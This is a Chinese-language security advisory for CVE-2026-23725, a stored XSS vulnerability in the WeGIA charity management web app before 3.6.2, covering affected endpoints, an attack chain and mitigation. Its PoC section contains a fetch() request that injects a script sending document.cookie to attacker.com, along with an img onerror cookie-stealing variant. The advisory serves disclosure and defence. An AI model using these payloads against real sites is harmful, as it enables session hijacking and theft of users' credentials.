IPBUF安全漏洞报告
English
CVE-2026-23725 CVSS 5.4 中危

CVE-2026-23725 WeGIA慈善机构Web管理器存储型XSS漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2026-23725
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WeGIA(面向慈善机构的Web管理器)

相关标签

存储型XSSWeGIACVE-2026-23725跨站脚本Web安全慈善机构管理系统JavaScript注入会话劫持

漏洞概述

CVE-2026-23725是WeGIA慈善机构Web管理器中存在的一个存储型跨站脚本(Stored Cross-Site Scripting)漏洞。该漏洞影响3.6.2之前的版本,存在于html/pet/adotantes/cadastro_adotante.php和html/pet/adotantes/informacao_adotantes.php两个端点中。攻击者可以通过在收养者信息注册表单中注入恶意JavaScript代码,由于应用程序未对用户输入进行充分的消毒处理,导致恶意载荷被永久存储在服务器端。当任何用户访问信息展示页面时,注入的JavaScript代码会自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。此漏洞无需高权限即可实施攻击,但需要诱导用户访问恶意页面或触发特定操作。

技术细节

漏洞存在于WeGIA应用的收养者信息管理模块中。具体来说,在cadastro_adotante.php页面进行收养者信息注册时,应用程序直接将用户提交的输入字段(如姓名、联系方式等)存储到数据库,而未对特殊字符进行HTML转义或过滤。当informacao_adotantes.php页面渲染这些数据时,未经过滤的内容直接插入到HTML响应中,形成存储型XSS攻击向量。攻击者可以利用标准XSS payload如<script>alert(document.cookie)</script>或<img src=x onerror=...>等实现JavaScript代码执行。由于存储型XSS的持久性特点,恶意代码会在所有访问该页面的用户浏览器中自动执行,无需每次攻击都重新注入。攻击者可能利用此漏洞窃取用户会话Cookie、劫持用户账户、篡改页面内容或进行进一步的内网渗透。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标WeGIA应用版本,确认版本小于3.6.2
STEP 2
步骤2:构造恶意载荷
攻击者构造包含恶意JavaScript代码的XSS payload,如<script>标签或事件处理器
STEP 3
步骤3:提交注入请求
通过cadastro_adotante.php端点提交收养者注册表单,payload被存储到数据库
STEP 4
步骤4:等待用户访问
当其他用户访问informacao_adotantes.php页面时,存储的恶意代码被渲染执行
STEP 5
步骤5:窃取敏感信息
恶意JavaScript执行,可窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-23725 Stored XSS PoC // Target: WeGIA <= 3.6.1 // Endpoint: html/pet/adotantes/cadastro_adotante.php // Step 1: Submit malicious payload via registration form fetch('html/pet/adotantes/cadastro_adotante.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'nome=<script>fetch("https://attacker.com/log?c="+document.cookie)</script>&[email protected]&telefone=123456789' }); // Step 2: When victim visits informacao_adotantes.php, the payload executes automatically // Alternative payload for cookie theft: // <img src=x onerror="this.src='https://attacker.com/steal?cookie='+document.cookie"> // Simple test payload: // <script>alert('XSS')</script>

影响范围

WeGIA < 3.6.2

防御指南

临时缓解措施
立即升级到WeGIA 3.6.2版本以修复此漏洞。在等待升级期间,可通过Web应用防火墙(WAF)规则临时拦截包含XSS特征的请求,如<script>标签、javascript:协议、onerror/onload等事件处理器。同时建议监控应用日志以检测潜在的注入攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表